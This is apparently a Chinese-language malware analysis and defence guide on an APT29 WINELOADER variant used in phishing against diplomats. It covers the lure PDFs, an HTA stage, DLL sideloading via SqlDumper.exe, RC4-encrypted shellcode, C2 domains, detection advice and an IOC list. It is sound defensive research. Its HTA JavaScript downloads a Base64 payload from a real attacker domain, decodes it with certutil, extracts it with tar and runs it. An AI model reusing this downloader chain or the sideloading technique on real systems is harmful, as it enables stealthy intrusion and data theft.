APT29利用WINELOADER变种,针对多个国家外交等单位发起钓鱼攻击,样本逆向分析
字数 1438 2025-08-05 08:19:59

WINELOADER变种攻击分析与防御指南

一、攻击概述

APT29组织(又名CozyBear, Nobelium, TheDukes)使用WINELOADER变种针对多国外交单位发起钓鱼攻击。攻击链采用多阶段载荷和复杂混淆技术,包括:

  • 精心设计的钓鱼邮件与PDF诱饵
  • 多阶段载荷下载与执行
  • 白加黑(DLL劫持)技术
  • 多层RC4加密与自定义密文结构
  • 利用合法WordPress网站作为C2基础设施

二、攻击链详细分析

2.1 初始感染阶段

攻击入口

  • 钓鱼邮件携带恶意PDF附件
  • PDF内容为针对性的主题活动邀请函
  • 包含恶意链接指向受感染网站

恶意链接示例

hxxps://seeceafcleaners[.]co[.]uk/wine.php
hxxps://passatempobasico.com.br/wine.php
hxxps://waterforvoiceless[.]org/invite.php

2.2 HTA文件分析

文件特性

  • 文件类型:HTML应用程序(.hta)
  • 双重功能:显示诱饵界面同时执行恶意JavaScript

执行流程

  1. 下载Base64编码的文本文件(通过util.php)
  2. 使用certutil解码为ZIP文件(invite.zip)
  3. 使用tar解压ZIP文件
  4. 执行解压后的SqlDumper.exe(白文件)

关键JavaScript代码

// 下载Base64编码的载荷
function Ijdaskjw(url) {
    var HttpRequest = new XMLHttpRequest();
    HttpRequest.onreadystatechange = function() {
        if (HttpRequest.readyState == 0x4 && HttpRequest.status == 0xc8) {
            // 写入Base64文件
            var FILE = new ActiveXObject("Scripting.FileSystemObject");
            var fileDeal = FILE.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 0x2, true, 0x0);
            fileDeal.Write(HttpRequest.response);
            fileDeal.close();
            
            // 解码并解压
            a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0x0);
            // 延时3秒
            a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0x0);
            // 再次延时3秒
            a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
        }
    }
    HttpRequest.open("GET", url, true);
    HttpRequest.send(null);
}
Ijdaskjw("hxxps://waterforvoiceless.org/util.php");

2.3 白加黑技术实现

文件组成

  • SqlDumper.exe:合法的微软签名文件(用于SQL Server开发组件)
  • vcruntime140.dll:恶意DLL文件

执行机制

  • SqlDumper.exe运行时从当前目录加载vcruntime140.dll
  • 恶意代码位于DLL的导出函数中(常见于memset_set_se_translator)

三、WINELOADER核心模块分析

3.1 Shellcode解密技术

加密特点

  • 使用RC4对称加密
  • 密文长度:0x8028字节
  • 密钥硬编码在样本中(位于恶意导出函数之后)

多层解密结构

  1. 首次解密:使用固定密钥解密主要shellcode
  2. 二次解密:相同密钥解密关键API和配置信息

3.2 密文结构设计

数据结构

+0x00-0x02: C2轮询间隔(3字节)
+0x20:     RC4密钥
+后续数据:  密文长度 + 密文内容

关键解密数据

  • C2服务器URL:
    siestakeying[.]com/auth[.]php
    castechtools[.]com/api[.]php
    
  • User-Agent:
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
    
  • HTTP方法:POST

3.3 功能模块

核心功能

  1. 建立与C2服务器的HTTPS连接
  2. 下载后续阶段载荷
  3. 进程注入与持久化
  4. 数据窃取与回传

使用的API

  • 网络相关:
    InternetOpenW
    InternetConnectW
    HttpOpenRequestW
    HttpSendRequestW
    
  • 进程操作:
    CreateProcessW
    CreateRemoteThread
    VirtualAllocEx
    
  • 文件操作:
    CreateFileW
    ReadFile
    WriteFile
    

四、防御与检测建议

4.1 预防措施

  1. 邮件安全

    • 启用高级邮件过滤规则
    • 对包含外部链接的邮件进行标记
    • 阻止.hta附件
  2. 系统加固

    • 禁用不必要的ActiveX控件
    • 限制certutil等系统工具的使用权限
    • 启用DLL加载审计策略
  3. 应用控制

    • 实施白名单机制限制非授权应用执行
    • 监控tar等不常用工具的执行

4.2 检测指标

文件指标

  • 临时目录下的异常文件:
    C:\Windows\Tasks\invite.txt
    C:\Windows\Tasks\invite.zip
    
  • 白文件与恶意DLL组合:
    SqlDumper.exe + vcruntime140.dll
    

网络指标

  • 异常域名请求:
    *.co[.]uk/wine.php
    *.org/util.php
    siestakeying[.]com/auth[.]php
    
  • 特定User-Agent字符串

行为指标

  • 短时间内连续执行certutil、tar、exe文件
  • 进程从非标准路径加载DLL
  • 异常的网络连接建立

4.3 应急响应

  1. 隔离系统

    • 立即断开受影响主机的网络连接
  2. 取证分析

    • 检查以下目录:
      C:\Windows\Tasks\
      %TEMP%\
      
    • 收集以下信息:
      • 进程树信息
      • 网络连接记录
      • 近期文件操作记录
  3. 清除与恢复

    • 删除已识别的恶意文件
    • 重置受影响账户凭证
    • 从干净备份恢复系统

五、IOC清单

5.1 文件哈希

PDF附件

30a762f747ba9432673b8b94066b270a
6e1b219fc0db106ff3a6e982fb7b9241
fb6323c19d3399ba94ecd391f7e35a9c

压缩包文件

7a465344a58a6c67d5a733a815ef4cb7
5928907c41368d6e87dc3e4e4be30e42

恶意HTA文件

9e07a9b8dd3ae5e360cfacc20bd1ec38
efafcd00b9157b4146506bd381326f39

恶意DLL

7961263963841010a049265956b14666
8bd528d2b828c9289d9063eba2dc6aa0
e017bfc36e387e8c3e7a338782805dde

5.2 网络指标

C2服务器

hxxps://seeceafcleaners[.]co[.]uk/wine.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php
hxxps://passatempobasico.com[.]br/wine.php
hxxps://waterforvoiceless[.]org/invite.php
hxxps://waterforvoiceless[.]org/util.php
hxxps://castechtools[.]com/api[.]php
hxxps://siestakeying[.]com/auth[.]php

User-Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
WINELOADER变种攻击分析与防御指南 一、攻击概述 APT29组织(又名CozyBear, Nobelium, TheDukes)使用WINELOADER变种针对多国外交单位发起钓鱼攻击。攻击链采用多阶段载荷和复杂混淆技术,包括: 精心设计的钓鱼邮件与PDF诱饵 多阶段载荷下载与执行 白加黑(DLL劫持)技术 多层RC4加密与自定义密文结构 利用合法WordPress网站作为C2基础设施 二、攻击链详细分析 2.1 初始感染阶段 攻击入口 : 钓鱼邮件携带恶意PDF附件 PDF内容为针对性的主题活动邀请函 包含恶意链接指向受感染网站 恶意链接示例 : 2.2 HTA文件分析 文件特性 : 文件类型:HTML应用程序(.hta) 双重功能:显示诱饵界面同时执行恶意JavaScript 执行流程 : 下载Base64编码的文本文件(通过 util.php ) 使用certutil解码为ZIP文件( invite.zip ) 使用tar解压ZIP文件 执行解压后的 SqlDumper.exe (白文件) 关键JavaScript代码 : 2.3 白加黑技术实现 文件组成 : SqlDumper.exe :合法的微软签名文件(用于SQL Server开发组件) vcruntime140.dll :恶意DLL文件 执行机制 : SqlDumper.exe 运行时从当前目录加载 vcruntime140.dll 恶意代码位于DLL的导出函数中(常见于 memset 或 _set_se_translator ) 三、WINELOADER核心模块分析 3.1 Shellcode解密技术 加密特点 : 使用RC4对称加密 密文长度:0x8028字节 密钥硬编码在样本中(位于恶意导出函数之后) 多层解密结构 : 首次解密:使用固定密钥解密主要shellcode 二次解密:相同密钥解密关键API和配置信息 3.2 密文结构设计 数据结构 : 关键解密数据 : C2服务器URL: User-Agent: HTTP方法:POST 3.3 功能模块 核心功能 : 建立与C2服务器的HTTPS连接 下载后续阶段载荷 进程注入与持久化 数据窃取与回传 使用的API : 网络相关: 进程操作: 文件操作: 四、防御与检测建议 4.1 预防措施 邮件安全 : 启用高级邮件过滤规则 对包含外部链接的邮件进行标记 阻止.hta附件 系统加固 : 禁用不必要的ActiveX控件 限制certutil等系统工具的使用权限 启用DLL加载审计策略 应用控制 : 实施白名单机制限制非授权应用执行 监控tar等不常用工具的执行 4.2 检测指标 文件指标 : 临时目录下的异常文件: 白文件与恶意DLL组合: 网络指标 : 异常域名请求: 特定User-Agent字符串 行为指标 : 短时间内连续执行certutil、tar、exe文件 进程从非标准路径加载DLL 异常的网络连接建立 4.3 应急响应 隔离系统 : 立即断开受影响主机的网络连接 取证分析 : 检查以下目录: 收集以下信息: 进程树信息 网络连接记录 近期文件操作记录 清除与恢复 : 删除已识别的恶意文件 重置受影响账户凭证 从干净备份恢复系统 五、IOC清单 5.1 文件哈希 PDF附件 : 压缩包文件 : 恶意HTA文件 : 恶意DLL : 5.2 网络指标 C2服务器 : User-Agent :